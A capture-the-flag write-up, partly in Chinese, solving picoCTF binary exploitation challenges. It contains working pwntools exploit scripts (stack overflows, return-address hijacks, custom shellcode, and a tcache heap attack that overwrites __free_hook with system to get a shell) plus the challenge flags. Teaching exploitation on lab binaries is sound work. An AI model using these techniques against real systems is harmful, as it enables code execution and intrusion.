# Binary Exploitation
[toc]
## handy-shellcode - Points: 50
``` c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
```
bin/cat flag.txt
```
\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x46\x74\x78\x74\x68\x66\x6c\x61\x67\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80
```
改別人的 shellcode
http://shell-storm.org/shellcode/files/shellcode-571.php

## practice-run-1 - Points: 50
```
You're going to need to know how to run programs if you're going to get out of here.
Navigate to /problems/practice-run-1_0_62b61488e896645ebff9b6c97d0e775e on the shell server and run this program to receive a flag.
```
跑起來就對了!
```bash
$ ./run_this
picoCTF{g3t_r3adY_2_r3v3r53}
```
Flag: `picoCTF{g3t_r3adY_2_r3v3r53}`
## OverFlow 0 - Points: 100

Source
``` c=
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[128];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("You entered: %s", argv[1]);
}
else
printf("Please enter an argument next time\n");
return 0;
}
```

【Amanda】WriteUp: 一直塞字串不知道為什麼flag就出來了....
> [name=ddaa] 塞太長的字串會程式發生 buffer overflow, 程式執行偵測到 overflow 會發出 SIGSEGV,就會走進 `sigsegv_handler` 把 flag 印出來
## OverFlow 1 - Points: 150
```
You beat the first overflow challenge.
Now overflow the buffer and change the return address to the flag function in this program?
You can find it in /problems/overflow-1_6_0a7153ff536ac8779749bc2dfa4735de on the shell server. Source.
```
簡單的 buf 題,overflow 之後可以控 EIP 讓我們可以跳到 flag 那個 function
```python=
from pwn import *
r=process('./vuln')
payload='a'*0x4c
ret=0x080485e6
payload+=p32(ret)
r.recvuntil(':')
r.sendline(payload)
r.interactive()
```
Flag: `picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a1b468a7}`
## NewOverFlow-1 - Points: 200
```
Lets try moving to 64-bit, but don't worry we'll start easy.
Overflow the buffer and change the return address to the flag function in this program.
You can find it in /problems/newoverflow-1_2_706ae8f01197e5dbad939821e43cf123 on the shell server. Source.
```
基本上跟上面那題的 payload 做法有 87% 像
但這邊要注意的是 flag 那個 function
```
0000000000400767 <flag>:
400767: 55 push %rbp
400768: 48 89 e5 mov %rsp,%rbp
```
如果直接跳過去的話 `push %rbp` 會把 stack 搞爛
要往下一個跳到 `0x400768` 的地方
```python=
#!/usr/bin/env python
import sys, os
from pwn import *
r = process('./vuln')
exp = 'a' * 72 # buffer
exp += p64(0x0000000000400768) # function flag address
r.recvuntil("Welcome to 64-bit. Give me a string that gets you the flag:")
print(exp)
r.sendline(exp)
r.interactive()
```
Flag: `picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_7a154fef}`
## sliperry-shellcode
shellcode 寫 open read write
有興趣的也可以參考一下 pwnable.tw 的 [orw](https://pwnable.tw/challenge/#2)
```python=
from pwn import *
r=process('/problems/slippery-shellcode_3_68613021756bf004b625d7b414243cd8/vuln')
context.arch='i386'
shellcode=asm('''
jmp start
orw:
push 5
pop eax
pop ebx
xor ecx,ecx
xor edx,edx
int 0x80
mov ebx,eax
xor eax,eax
mov eax,3
mov edx,50
mov ecx,esp
int 0x80
mov edx,eax
xor eax,eax
mov eax,4
mov ebx,1
int 0x80
int3
start:
call orw
.ascii "flag.txt"
.byte 0
''')
r.recvuntil(':')
raw_input()
r.sendline('\x90'*256+shellcode)
r.interactive()
```
Flag: `flag:picoCTF{sl1pp3ry_sh311c0d3_de21cb07}`
## NewOverFlow-2 - Points: 250
```
Okay now lets try mainpulating arguments. program.
You can find it in /problems/newoverflow-2_0_b7d9b3bbdbb843a28a13ff1aa57410df on the shell server. Source.
```
感覺題目有出錯 ... XDD
跟之前一樣,overflow 完跳到 flag 那個 function 就好了
```python=
#!/usr/bin/env python
import sys, os
from pwn import *
r = process('./vuln')
exp = ''
exp += 'a' * 72 # buffer
exp += p64(0x000000000040084e) # function flag address
r.recvuntil("?\n")
r.sendline(exp)
r.interactive()
```
Flag: `picoCTF{r0p_1t_d0nT_st0p_1t_64362a2b}`
## OverFlow 2 - Points: 250
```
Now try overwriting arguments.
Can you get the flag from this program?
You can find it in /problems/overflow-2_0_f4d7b52433d7aa96e72a63fdd5dcc9cc on the shell server. Source.
```
```python=
#!/usr/bin/env python
import sys, os
from pwn import *
r = process('./vuln')
exp = ''
exp += 'a' * 188
exp += p32(0x80485e6) # Flag function
exp += p32(0x080483f2) # ret gadget
exp += p32(0xDEADBEEF) # argument 1
exp += p32(0xC0DED00D) # argument 2
r.recvuntil("Please enter your string:")
r.sendline(exp)
r.interactive()
```
Flag: `picoCTF{arg5_and_r3turn5e919413c}`
## CanaRy - Points: 300
```
This time we added a canary to detect buffer overflows.
Can you still find a way to retreive the flag from this program located in /problems/canary_3_257a2a2061c96a7fb8326dbbc04d0328. Source.
```
根據 source code 我們可以知道他的 canary 的值會去讀取一個固定的檔案
長度也不長,只有 4 而已,所以我們的 exp 可以先爆一下 canary 的值是多少
## Ghost_Diary - Points: 500
18.04 的 heap 題, 漏洞是 off-by-one
用法跟 angelboy 投影片的 shrink the chunk 差不多
但要注意 tcache 要先塞滿避免要 unlink 的 chunk 進不了 unsorted bin
讓 chunk 重疊之後就可以把 chunk 丟進 tcache, 然後竄改 fd 進行 tcache 版的 house of spirit, 達成任意位置寫入
後面就是寫 __free_hook 成 system 來拿 shell
```python=
# tcache filled prepare
for i in range(7):
new(0x80)
new(0x88) # bof
for i in range(7):
new(0x80)
new(0x80)
new(0x80) # top chunk prevent
# tcache filled
for i in range(7):
burn(i)
# pass prev_size check
_ = 'a'*0x20 + p64(0x300)
talk(13, _.ljust(0x80))
# unsorted bin 0x3f0
for i in range(7):
burn(i+8)
talk(7, 'a'*0x88)
# pop tcache
for i in range(7):
new(0x80)
new(0x80) # leak
listen(8)
r.recvuntil('Content: ')
libc_base = u64(r.recv(6) + '\x00\x00') - 0x3ebf90
log.info('libc_base: {}'.format(hex(libc_base)))
libc.address += libc_base
# overlap chunks
for i in range(4):
new(0x80)
# fill tcache
for i in range(7):
burn(i)
# unlink
burn(8)
burn(15)
for i in range(7):
new(0x80)
# put overlap chunk to tcache
new(0x80)
new(0x80)
burn(9)
# overwrite tcache fd
_ = flat(libc.sym['__free_hook'])
talk(13, _.ljust(0x80))
# overwrite target
new(0x80)
talk(9, '/bin/sh'.ljust(0x80, '\x00'))
new(0x80)
talk(14, p64(libc.sym['system']).ljust(0x80, '\x00'))
# shell out
burn(9)
```